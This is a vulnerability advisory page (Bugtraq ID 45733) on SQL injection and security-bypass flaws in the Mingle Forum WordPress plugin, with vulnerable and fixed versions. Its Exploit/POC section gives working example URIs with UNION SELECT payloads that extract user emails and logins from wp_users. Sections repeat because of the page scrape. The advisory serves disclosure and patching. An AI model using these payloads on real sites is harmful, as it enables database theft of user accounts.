Mingle Forum Plugin For WordPress SQL Injection and Security Bypass Vulnerabilities
BID:45733
Info
Mingle Forum Plugin For WordPress SQL Injection and Security Bypass Vulnerabilities
| Bugtraq ID: | 45733 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Jan 10 2011 12:00AM |
| Updated: | Jan 10 2011 12:00AM |
| Credit: | Charles Hooper |
| Vulnerable: |
WordPress Mingle Forum 1.0.26 WordPress Mingle Forum 1.0.24 |
| Not Vulnerable: |
WordPress Mingle Forum 1.0.27 |
Discussion
Mingle Forum Plugin For WordPress SQL Injection and Security Bypass Vulnerabilities
The Mingle Forum plugin for WordPress is prone to multiple SQL-injection vulnerabilities and a security-bypass vulnerability because it fails to adequately sanitize user-supplied input.
Exploiting the security-bypass issue may allow an attacker to bypass certain security restrictions and perform unauthorized actions. The attacker can exploit the SQL-injection issue by manipulating the SQL query logic to carry out unauthorized actions on the underlying database. This may compromise the application and may aid in further attacks.
Mingle Forum 1.0.24 and 1.0.26 are vulnerable; other versions may also be affected.
The Mingle Forum plugin for WordPress is prone to multiple SQL-injection vulnerabilities and a security-bypass vulnerability because it fails to adequately sanitize user-supplied input.
Exploiting the security-bypass issue may allow an attacker to bypass certain security restrictions and perform unauthorized actions. The attacker can exploit the SQL-injection issue by manipulating the SQL query logic to carry out unauthorized actions on the underlying database. This may compromise the application and may aid in further attacks.
Mingle Forum 1.0.24 and 1.0.26 are vulnerable; other versions may also be affected.
Exploit / POC
Mingle Forum Plugin For WordPress SQL Injection and Security Bypass Vulnerabilities
Attackers can exploit these issues via a browser.
The following example URIs are available:
http://www.example.com/wordpress/wp-content/plugins/mingle-forum/feed.php?topic=0%20UNION%20SELECT%201,user_email,3,4,5,user_login,7%20FROM%20wp_users%20%23
http://www.example.com/?mingleforumaction=editpost&t=1.0&id=0%20UNION%20SELECT%201,2,3,4,5,6,7%20%23
http://www.example.com/forums/?mingleforumaction=editpost&t=1.0&id=<target
Attackers can exploit these issues via a browser.
The following example URIs are available:
http://www.example.com/wordpress/wp-content/plugins/mingle-forum/feed.php?topic=0%20UNION%20SELECT%201,user_email,3,4,5,user_login,7%20FROM%20wp_users%20%23
http://www.example.com/?mingleforumaction=editpost&t=1.0&id=0%20UNION%20SELECT%201,2,3,4,5,6,7%20%23
http://www.example.com/forums/?mingleforumaction=editpost&t=1.0&id=<target
Solution / Fix
Mingle Forum Plugin For WordPress SQL Injection and Security Bypass Vulnerabilities
Solution:
The vendor released an update. Please see the references for details.
WordPress Mingle Forum 1.0.26
WordPress Mingle Forum 1.0.24
Solution:
The vendor released an update. Please see the references for details.
WordPress Mingle Forum 1.0.26
-
WordPress mingle-forum.1.0.27.zip
http://downloads.wordpress.org/plugin/mingle-forum.1.0.27.ziphttp://do wnloads.wordpress.org/plugin/mingle-forum.1.0.27.zip
WordPress Mingle Forum 1.0.24
-
WordPress mingle-forum.1.0.27.zip
http://downloads.wordpress.org/plugin/mingle-forum.1.0.27.ziphttp://do wnloads.wordpress.org/plugin/mingle-forum.1.0.27.zip
References
Mingle Forum Plugin For WordPress SQL Injection and Security Bypass Vulnerabilities
References:
References:
- Mingle Forum Homepage (WordPress)
- Multiple Vulnerabilities in Mingle Forum (WordPress Plugin) (Charles Hooper)